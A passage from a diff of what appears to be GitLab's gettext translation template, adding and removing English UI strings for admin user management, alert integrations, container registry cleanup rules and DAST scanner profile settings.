-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-
-msgid "%{reportType} %{status} detected %{other} vulnerability."
-msgid_plural "%{reportType} %{status} detected %{other} vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-
-msgid "%{reportType} %{status} detected no vulnerabilities."
+msgid "%{reportType} detected %{totalStart}no%{totalEnd} vulnerabilities."
msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
@@ -859,6 +835,9 @@ msgstr ""
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
+msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
+msgstr ""
+
msgid "%{strong_start}%{branch_count}%{strong_end} Branch"
msgid_plural "%{strong_start}%{branch_count}%{strong_end} Branches"
msgstr[0] ""
@@ -961,6 +940,9 @@ msgstr ""
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} has asked for a GitLab account on your instance %{host}:"
+msgstr ""
+
msgid "%{username}'s avatar"
msgstr ""
@@ -979,12 +961,6 @@ msgstr ""
msgid "&lt; 1 hour"
msgstr ""
-msgid "&lt;no scopes selected&gt;"
-msgstr ""
-
-msgid "&lt;project name&gt;"
-msgstr ""
-
msgid "'%{data}' at %{location} does not match format: %{format}"
msgstr ""
@@ -1597,9 +1573,6 @@ msgstr ""
msgid "Actions"
msgstr ""
-msgid "Activate"
-msgstr ""
-
msgid "Activate Service Desk"
msgstr ""
@@ -1948,9 +1921,15 @@ msgstr ""
msgid "Admin notes"
msgstr ""
+msgid "AdminArea|%{billable_users_link_start}Learn more%{billable_users_link_end} about what defines a billable user"
+msgstr ""
+
msgid "AdminArea|Active users"
msgstr ""
+msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
+msgstr ""
+
msgid "AdminArea|Billable users"
msgstr ""
@@ -2173,6 +2152,15 @@ msgstr ""
msgid "AdminUsers|Access the API"
msgstr ""
+msgid "AdminUsers|Activate"
+msgstr ""
+
+msgid "AdminUsers|Activate user"
+msgstr ""
+
+msgid "AdminUsers|Activate user %{username}?"
+msgstr ""
+
msgid "AdminUsers|Active"
msgstr ""
@@ -2221,16 +2209,19 @@ msgstr ""
msgid "AdminUsers|Blocking user has the following effects:"
msgstr ""
+msgid "AdminUsers|Cannot sign in or access instance information"
+msgstr ""
+
msgid "AdminUsers|Cannot unblock LDAP blocked users"
msgstr ""
msgid "AdminUsers|Deactivate"
msgstr ""
-msgid "AdminUsers|Deactivate User %{username}?"
+msgid "AdminUsers|Deactivate user"
msgstr ""
-msgid "AdminUsers|Deactivate user"
+msgid "AdminUsers|Deactivate user %{username}?"
msgstr ""
msgid "AdminUsers|Deactivated"
@@ -2257,6 +2248,9 @@ msgstr ""
msgid "AdminUsers|External users cannot see internal or private projects unless access is explicitly granted. Also, external users cannot create projects, groups, or personal snippets."
msgstr ""
+msgid "AdminUsers|For more information, please refer to the %{link_start}user account deletion documentation.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Is using seat"
msgstr ""
@@ -2293,6 +2287,15 @@ msgstr ""
msgid "AdminUsers|Regular users have access to their groups and projects"
msgstr ""
+msgid "AdminUsers|Reject"
+msgstr ""
+
+msgid "AdminUsers|Reject request"
+msgstr ""
+
+msgid "AdminUsers|Rejected users:"
+msgstr ""
+
msgid "AdminUsers|Restore user access to the account, including web, Git and API."
msgstr ""
@@ -2332,6 +2335,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unblock"
+msgstr ""
+
+msgid "AdminUsers|Unblock user"
+msgstr ""
+
+msgid "AdminUsers|Unblock user %{username}?"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2341,6 +2353,9 @@ msgstr ""
msgid "AdminUsers|When the user logs back in, their account will reactivate as a fully active account"
msgstr ""
+msgid "AdminUsers|Will be deleted"
+msgstr ""
+
msgid "AdminUsers|Without projects"
msgstr ""
@@ -2350,6 +2365,15 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You can always block their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always deactivate their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always re-activate their account, their data will remain intact."
+msgstr ""
+
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
@@ -2362,7 +2386,13 @@ msgstr ""
msgid "Administration"
msgstr ""
-msgid "Adoption"
+msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
+msgstr ""
+
+msgid "Admin|View pending user approvals"
+msgstr ""
+
+msgid "Admin|Your instance has reached its user cap"
msgstr ""
msgid "Advanced"
@@ -2575,6 +2605,24 @@ msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
msgstr ""
+msgid "AlertMappingBuilder|Define fallback"
+msgstr ""
+
+msgid "AlertMappingBuilder|GitLab alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Make selection"
+msgstr ""
+
+msgid "AlertMappingBuilder|Payload alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Select key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
+msgstr ""
+
msgid "AlertService|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
@@ -2584,9 +2632,18 @@ msgstr ""
msgid "AlertSettings|1. Select integration type"
msgstr ""
+msgid "AlertSettings|2. Add link to your Opsgenie alert list"
+msgstr ""
+
msgid "AlertSettings|2. Name integration"
msgstr ""
+msgid "AlertSettings|3. Set up webhook"
+msgstr ""
+
+msgid "AlertSettings|4. Sample alert payload (optional)"
+msgstr ""
+
msgid "AlertSettings|5. Map fields (optional)"
msgstr ""
@@ -2614,6 +2671,12 @@ msgstr ""
msgid "AlertSettings|Copy"
msgstr ""
+msgid "AlertSettings|Delete integration"
+msgstr ""
+
+msgid "AlertSettings|Edit payload"
+msgstr ""
+
msgid "AlertSettings|Enter integration name"
msgstr ""
@@ -2626,7 +2689,13 @@ msgstr ""
msgid "AlertSettings|HTTP Endpoint"
msgstr ""
-msgid "AlertSettings|HTTP endpoint"
+msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
+msgstr ""
+
+msgid "AlertSettings|If you've provided a sample alert payload, you can create a custom mapping for your endpoint. The default GitLab alert keys are listed below. Please define which payload key should map to the specified GitLab key."
+msgstr ""
+
+msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
msgid "AlertSettings|Integration"
@@ -2635,27 +2704,51 @@ msgstr ""
msgid "AlertSettings|Learn more about our our upcoming %{linkStart}integrations%{linkEnd}"
msgstr ""
-msgid "AlertSettings|Learn more about our upcoming %{linkStart}integrations%{linkEnd}"
+msgid "AlertSettings|Opsgenie"
msgstr ""
-msgid "AlertSettings|Opsgenie"
+msgid "AlertSettings|Proceed with editing"
+msgstr ""
+
+msgid "AlertSettings|Prometheus API base URL"
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional), or to test the integration (also optional)."
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to test the integration (optional)."
+msgstr ""
+
+msgid "AlertSettings|Reset Key"
msgstr ""
msgid "AlertSettings|Reset key"
msgstr ""
+msgid "AlertSettings|Reset the mapping"
+msgstr ""
+
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
msgid "AlertSettings|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgstr ""
+
+msgid "AlertSettings|Save and test payload"
+msgstr ""
+
msgid "AlertSettings|Save integration"
msgstr ""
msgid "AlertSettings|Select integration type"
msgstr ""
+msgid "AlertSettings|Submit payload"
+msgstr ""
+
msgid "AlertSettings|Test alert payload"
msgstr ""
@@ -2665,9 +2758,6 @@ msgstr ""
msgid "AlertSettings|Test failed. Do you still want to save your changes anyway?"
msgstr ""
-msgid "AlertSettings|The default GitLab alert keys are listed below. In the event an exact match could be found in the sample payload provided, that key will be mapped automatically. In all other cases, please define which payload key should map to the specified GitLab key. Any payload keys not shown in this list will not display in the alert list, but will display on the alert details page."
-msgstr ""
-
msgid "AlertSettings|There was an error updating the alert settings."
msgstr ""
@@ -2677,6 +2767,18 @@ msgstr ""
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize Prometheus to send alerts to GitLab. Review the Prometheus documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilizing this option will link the GitLab Alerts navigation item to your existing Opsgenie instance. By selecting this option, you cannot receive alerts from any other source in GitLab; it will effectively be turning Alerts within GitLab off as a feature."
+msgstr ""
+
+msgid "AlertSettings|We will soon be introducing the ability to create multiple unique HTTP endpoints. When this functionality is live, you will be able to configure an integration with Opsgenie to surface Opsgenie alerts in GitLab. This will replace the current Opsgenie integration which will be deprecated. %{linkStart}More Information%{linkEnd}"
+msgstr ""
+
msgid "AlertSettings|Webhook URL"
msgstr ""
@@ -2689,6 +2791,9 @@ msgstr ""
msgid "AlertSettings|Your integration was successfully updated."
msgstr ""
+msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
+msgstr ""
+
msgid "Alerts"
msgstr ""
@@ -2704,16 +2809,37 @@ msgstr ""
msgid "AlertsIntegrations|Current integrations"
msgstr ""
-msgid "AlertsIntegrations|HTTP endpoint"
+msgid "AlertsIntegrations|Integration Name"
msgstr ""
-msgid "AlertsIntegrations|Integration Name"
+msgid "AlertsIntegrations|Integration payload is invalid. You can still save your changes."
msgstr ""
msgid "AlertsIntegrations|No integrations have been added yet"
msgstr ""
-msgid "AlertsIntegrations|Prometheus"
+msgid "AlertsIntegrations|The current integration could not be updated. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be added. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be deleted. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully removed."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The test alert has been successfully sent, and should now be visible on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|You have opted to delete the %{integrationName} integration. Do you want to proceed? It means you will no longer receive alerts from this endpoint in your alert list, and this action cannot be undone."
msgstr ""
msgid "Algorithm"
@@ -2818,6 +2944,9 @@ msgstr ""
msgid "Allow rendering of PlantUML diagrams in Asciidoc documents."
msgstr ""
+msgid "Allow rendering of diagrams in AsciiDoc and Markdown documents using %{link}."
+msgstr ""
+
msgid "Allow repository mirroring to be configured by project maintainers"
msgstr ""
@@ -2935,9 +3064,6 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
-msgid "An error has occurred fetching instructions"
-msgstr ""
-
msgid "An error occured while making the changes: %{error}"
msgstr ""
@@ -3058,9 +3184,6 @@ msgstr ""
msgid "An error occurred while fetching terraform reports."
msgstr ""
-msgid "An error occurred while fetching the Service Desk address."
-msgstr ""
-
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
@@ -3094,16 +3217,19 @@ msgstr ""
msgid "An error occurred while generating a username. Please try again."
msgstr ""
+msgid "An error occurred while getting autocomplete data. Please refresh the page and try again."
+msgstr ""
+
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
msgid "An error occurred while getting projects"
msgstr ""
-msgid "An error occurred while importing project: %{details}"
+msgid "An error occurred while initializing path locks"
msgstr ""
-msgid "An error occurred while initializing path locks"
+msgid "An error occurred while loading a section of this page."
msgstr ""
msgid "An error occurred while loading all the files."
@@ -3160,6 +3286,9 @@ msgstr ""
msgid "An error occurred while loading the merge request."
msgstr ""
+msgid "An error occurred while loading the pipeline."
+msgstr ""
+
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -3187,9 +3316,6 @@ msgstr ""
msgid "An error occurred while rendering the editor"
msgstr ""
-msgid "An error occurred while rendering the linter"
-msgstr ""
-
msgid "An error occurred while reordering issues."
msgstr ""
@@ -3220,6 +3346,9 @@ msgstr ""
msgid "An error occurred while triggering the job."
msgstr ""
+msgid "An error occurred while trying to generate the report. Please try again later."
+msgstr ""
+
msgid "An error occurred while trying to run a new pipeline for this Merge Request."
msgstr ""
@@ -3238,6 +3367,9 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the milestone."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
@@ -3424,6 +3556,12 @@ msgstr ""
msgid "Apply suggestion"
msgstr ""
+msgid "Apply suggestion commit message"
+msgstr ""
+
+msgid "Apply suggestion on %{fileName}"
+msgstr ""
+
msgid "Apply suggestions"
msgstr ""
@@ -3490,6 +3628,9 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "ApprovalRule|Approval rules"
+msgstr ""
+
msgid "ApprovalRule|Approvers"
msgstr ""
@@ -3571,6 +3712,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived (%{movedToStart}moved%{movedToEnd})"
+msgstr ""
+
msgid "Archived in this version"
msgstr ""
@@ -3622,9 +3766,6 @@ msgstr ""
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
-msgid "Are you sure you want to delete this list?"
-msgstr ""
-
msgid "Are you sure you want to delete this pipeline schedule?"
msgstr ""
@@ -3676,6 +3817,9 @@ msgstr ""
msgid "Are you sure you want to remove this identity?"
msgstr ""
+msgid "Are you sure you want to remove this list?"
+msgstr ""
+
msgid "Are you sure you want to reset registration token?"
msgstr ""
@@ -3952,6 +4096,12 @@ msgstr ""
msgid "Authenticate with GitHub"
msgstr ""
+msgid "Authenticated API request rate limit"
+msgstr ""
+
+msgid "Authenticated web request rate limit"
+msgstr ""
+
msgid "Authenticating"
msgstr ""
@@ -4072,6 +4222,9 @@ msgstr ""
msgid "AutoRemediation|%{mrsCount} ready for review"
msgstr ""
+msgid "AutoRemediation|Auto-fix solution available"
+msgstr ""
+
msgid "AutoRemediation|Auto-fix solutions"
msgstr ""
@@ -4360,12 +4513,18 @@ msgstr ""
msgid "BillingPlan|Upgrade"
msgstr ""
+msgid "Billing|An email address is only visible for users managed through Group Managed Accounts."
+msgstr ""
+
msgid "Billing|An error occurred while loading billable members list"
msgstr ""
msgid "Billing|No users to display."
msgstr ""
+msgid "Billing|Private"
+msgstr ""
+
msgid "Billing|Updated live"
msgstr ""
@@ -4390,6 +4549,12 @@ msgstr ""
msgid "Blocked"
msgstr ""
+msgid "Blocked by %d issue"
+msgid_plural "Blocked by %d issues"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "Blocked issue"
msgstr ""
@@ -4441,6 +4606,9 @@ msgstr ""
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
+msgid "Boards|An error occurred while removing the list. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
@@ -4699,9 +4867,6 @@ msgstr ""
msgid "By %{user_name}"
msgstr ""
-msgid "By URL"
-msgstr ""
-
msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
msgstr ""
@@ -4729,6 +4894,9 @@ msgstr ""
msgid "CI Lint"
msgstr ""
+msgid "CI configuration validated, including all configuration added with the %{codeStart}includes%{codeEnd} keyword. %{link}"
+msgstr ""
+
msgid "CI settings"
msgstr ""
@@ -4825,6 +4993,9 @@ msgstr ""
msgid "Can't apply this suggestion."
msgstr ""
+msgid "Can't be empty"
+msgstr ""
+
msgid "Can't create snippet: %{err}"
msgstr ""
@@ -4852,6 +5023,12 @@ msgstr ""
msgid "Canary Deployments is a popular CI strategy, where a small portion of the fleet is updated to the new version of your application."
msgstr ""
+msgid "Canary Ingress does not exist in the environment."
+msgstr ""
+
+msgid "Canary weight must be specified and valid range (0..100)."
+msgstr ""
+
msgid "Cancel"
msgstr ""
@@ -4885,9 +5062,6 @@ msgstr ""
msgid "Cannot enable shared runners because parent group does not allow it"
msgstr ""
-msgid "Cannot find user key."
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -5029,6 +5203,9 @@ msgstr ""
msgid "Changes affect new repositories only. If not specified, Git's default name %{branch_name_default} will be used."
msgstr ""
+msgid "Changes affect new repositories only. If not specified, either the configured application-wide default or Git's default name %{branch_name_default} will be used."
+msgstr ""
+
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
@@ -5047,9 +5224,6 @@ msgstr ""
msgid "Changes won't take place until the index is %{link_start}recreated%{link_end}."
msgstr ""
-msgid "Changing a Release tag is only supported via Releases API. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -5116,6 +5290,9 @@ msgstr ""
msgid "Check feature availability on namespace plan"
msgstr ""
+msgid "Check out, review, and merge locally"
+msgstr ""
+
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
@@ -5302,12 +5479,6 @@ msgstr ""
msgid "Chinese language support using"
msgstr ""
-msgid "Choose %{strong_open}Create archive%{strong_close} and wait for archiving to complete."
-msgstr ""
-
-msgid "Choose %{strong_open}Next%{strong_close} at the bottom of the page."
-msgstr ""
-
msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
@@ -5341,6 +5512,9 @@ msgstr ""
msgid "Choose labels"
msgstr ""
+msgid "Choose specific groups or storage shards"
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -5509,7 +5683,7 @@ msgstr ""
msgid "ClassificationLabelUnavailable|is unavailable: %{reason}"
msgstr ""
-msgid "Cleanup policy for tags"
+msgid "Clean up image tags"
msgstr ""
msgid "Cleanup policy maximum processing time (seconds)"
@@ -5551,10 +5725,10 @@ msgstr ""
msgid "Clears weight."
msgstr ""
-msgid "Click the %{strong_open}Download%{strong_close} button and wait for downloading to complete."
+msgid "Click %{link_start}here%{link_end} to view the request."
msgstr ""
-msgid "Click the %{strong_open}Select none%{strong_close} button on the right, since we only need \"Google Code Project Hosting\"."
+msgid "Click %{link_to} to view the request."
msgstr ""
msgid "Click the button below to begin the install process by navigating to the Kubernetes page"
@@ -5602,7 +5776,7 @@ msgstr ""
msgid "Close"
msgstr ""
-msgid "Close %{display_issuable_type}"
+msgid "Close %{issueType}"
msgstr ""
msgid "Close %{tabname}"
@@ -5611,9 +5785,6 @@ msgstr ""
msgid "Close epic"
msgstr ""
-msgid "Close issue"
-msgstr ""
-
msgid "Close milestone"
msgstr ""
@@ -5704,6 +5875,9 @@ msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
+msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
+msgstr ""
+
msgid "ClusterIntegration|%{externalIp}.nip.io"
msgstr ""
@@ -5812,6 +5986,9 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
+msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
+msgstr ""
+
msgid "ClusterIntegration|Cert-Manager"
msgstr ""
@@ -6070,9 +6247,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm Tiller"
-msgstr ""
-
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
@@ -6175,6 +6349,9 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
+msgid "ClusterIntegration|Legacy Helm Tiller server"
+msgstr ""
+
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -6508,7 +6685,7 @@ msgstr ""
msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
msgstr ""
-msgid "ClusterIntegration|The associated Tiller pod, the %{gitlabManagedAppsNamespace} namespace, and all of its resources will be deleted and cannot be restored."
+msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
msgstr ""
msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
@@ -6850,6 +7027,9 @@ msgstr ""
msgid "Commit Message"
msgstr ""
+msgid "Commit changes"
+msgstr ""
+
msgid "Commit deleted"
msgstr ""
@@ -6973,9 +7153,6 @@ msgstr ""
msgid "Compliance framework (optional)"
msgstr ""
-msgid "Compliance frameworks"
-msgstr ""
-
msgid "ComplianceDashboard|created by:"
msgstr ""
@@ -7147,6 +7324,9 @@ msgstr ""
msgid "Consistency guarantee method"
msgstr ""
+msgid "Contact Sales to upgrade"
+msgstr ""
+
msgid "Contact sales to upgrade"
msgstr ""
@@ -7171,7 +7351,7 @@ msgstr ""
msgid "Container repositories"
msgstr ""
-msgid "Container repositories sync capacity"
+msgid "Container repositories synchronization concurrency limit"
msgstr ""
msgid "Container repository"
@@ -7201,6 +7381,9 @@ msgstr ""
msgid "ContainerRegistry|%{toggleStatus} - Tags matching the patterns defined below will be scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|%{toggleStatus} - Tags that match the rules on this page are automatically scheduled for deletion."
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -7276,6 +7459,15 @@ msgstr ""
msgid "ContainerRegistry|Invalid tag: missing manifest digest"
msgstr ""
+msgid "ContainerRegistry|Keep tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep the most recent:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep these tags"
+msgstr ""
+
msgid "ContainerRegistry|Login"
msgstr ""
@@ -7285,6 +7477,15 @@ msgstr ""
msgid "ContainerRegistry|Missing or insufficient permission, delete button disabled"
msgstr ""
+msgid "ContainerRegistry|Next cleanup scheduled to run on:"
+msgstr ""
+
+msgid "ContainerRegistry|Not yet scheduled"
+msgstr ""
+
+msgid "ContainerRegistry|Note: Any policy update will result in a change to the scheduled run date and time"
+msgstr ""
+
msgid "ContainerRegistry|Number of tags to retain:"
msgstr ""
@@ -7309,7 +7510,16 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
-msgid "ContainerRegistry|Set cleanup policy"
+msgid "ContainerRegistry|Remove tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove tags older than:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove these tags"
+msgstr ""
+
+msgid "ContainerRegistry|Run cleanup:"
msgstr ""
msgid "ContainerRegistry|Some tags were not deleted"
@@ -7318,6 +7528,9 @@ msgstr ""
msgid "ContainerRegistry|Something went wrong while fetching the cleanup policy."
msgstr ""
+msgid "ContainerRegistry|Something went wrong while fetching the image details."
+msgstr ""
+
msgid "ContainerRegistry|Something went wrong while fetching the repository list."
msgstr ""
@@ -7339,21 +7552,30 @@ msgstr ""
msgid "ContainerRegistry|Sorry, your filter produced no results."
msgstr ""
-msgid "ContainerRegistry|Tag expiration policy"
-msgstr ""
-
msgid "ContainerRegistry|Tag successfully marked for deletion."
msgstr ""
msgid "ContainerRegistry|Tags successfully marked for deletion."
msgstr ""
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}kept%{strongEnd}, even if they match a removal rule below. The %{secondStrongStart}latest%{secondStrongEnd} tag is always kept."
+msgstr ""
+
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}removed%{strongEnd}, unless a rule above says to keep them."
+msgstr ""
+
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}be preserved:%{italicEnd}"
msgstr ""
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}expire:%{italicEnd}"
msgstr ""
+msgid "ContainerRegistry|Tags with names that match this regex pattern are kept. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "ContainerRegistry|Tags with names that match this regex pattern are removed. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|The cleanup policy timed out before it could delete all tags. An administrator can %{adminLinkStart}manually run cleanup now%{adminLinkEnd} or you can wait for the cleanup policy to automatically run again. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
@@ -8143,9 +8365,6 @@ msgstr ""
msgid "Customize how FogBugz email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
msgstr ""
-msgid "Customize how Google Code email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Customize icon"
msgstr ""
@@ -8206,6 +8425,9 @@ msgstr ""
msgid "CycleAnalyticsEvent|Merge request created"
msgstr ""
+msgid "CycleAnalyticsEvent|Merge request first commit time"
+msgstr ""
+
msgid "CycleAnalyticsEvent|Merge request first deployed to production"
msgstr ""
@@ -8332,9 +8554,6 @@ msgstr ""
msgid "CycleAnalytics|stage dropdown"
msgstr ""
-msgid "DAG"
-msgstr ""
-
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -8383,7 +8602,10 @@ msgstr ""
msgid "DastProfiles|Are you sure you want to delete this profile?"
msgstr ""
-msgid "DastProfiles|Could not create site validation token. Please refresh the page, or try again later."
+msgid "DastProfiles|Authentication"
+msgstr ""
+
+msgid "DastProfiles|Authentication URL"
msgstr ""
msgid "DastProfiles|Could not create the scanner profile. Please try again."
@@ -8410,9 +8632,6 @@ msgstr ""
msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
msgstr ""
-msgid "DastProfiles|Could not retrieve site validation status. Please refresh the page, or try again later."
-msgstr ""
-
msgid "DastProfiles|Could not update the scanner profile. Please try again."
msgstr ""
@@ -8434,15 +8653,15 @@ msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
-msgid "DastProfiles|Download validation text file"
-msgstr ""
-
msgid "DastProfiles|Edit scanner profile"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
+msgid "DastProfiles|Enable Authentication"
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -8476,9 +8695,18 @@ msgstr ""
msgid "DastProfiles|No profiles created yet"
msgstr ""
+msgid "DastProfiles|Not Validated"
+msgstr ""
+
msgid "DastProfiles|Passive"
msgstr ""
+msgid "DastProfiles|Password"
+msgstr ""
+
+msgid "DastProfiles|Password form field"
+msgstr ""
+
msgid "DastProfiles|Please enter a valid timeout value"
msgstr ""
@@ -8512,64 +8740,85 @@ msgstr ""
msgid "DastProfiles|Site Profiles"
msgstr ""
-msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgid "DastProfiles|Spider timeout"
msgstr ""
-msgid "DastProfiles|Site must be validated to run an active scan."
+msgid "DastProfiles|Target URL"
msgstr ""
-msgid "DastProfiles|Spider timeout"
+msgid "DastProfiles|Target timeout"
msgstr ""
-msgid "DastProfiles|Step 1 - Choose site validation method"
+msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
msgstr ""
-msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
-msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
-msgid "DastProfiles|Target URL"
+msgid "DastProfiles|Username"
msgstr ""
-msgid "DastProfiles|Target timeout"
+msgid "DastProfiles|Username form field"
msgstr ""
-msgid "DastProfiles|Text file validation"
+msgid "DastProfiles|Validated"
msgstr ""
-msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
+msgid "DastSiteValidation|Copy HTTP header to clipboard"
msgstr ""
-msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgid "DastSiteValidation|Could not create validation token. Please try again."
msgstr ""
-msgid "DastProfiles|Turn on AJAX spider"
+msgid "DastSiteValidation|Download validation text file"
+msgstr ""
+
+msgid "DastSiteValidation|Header validation"
+msgstr ""
+
+msgid "DastSiteValidation|Step 1 - Choose site validation method"
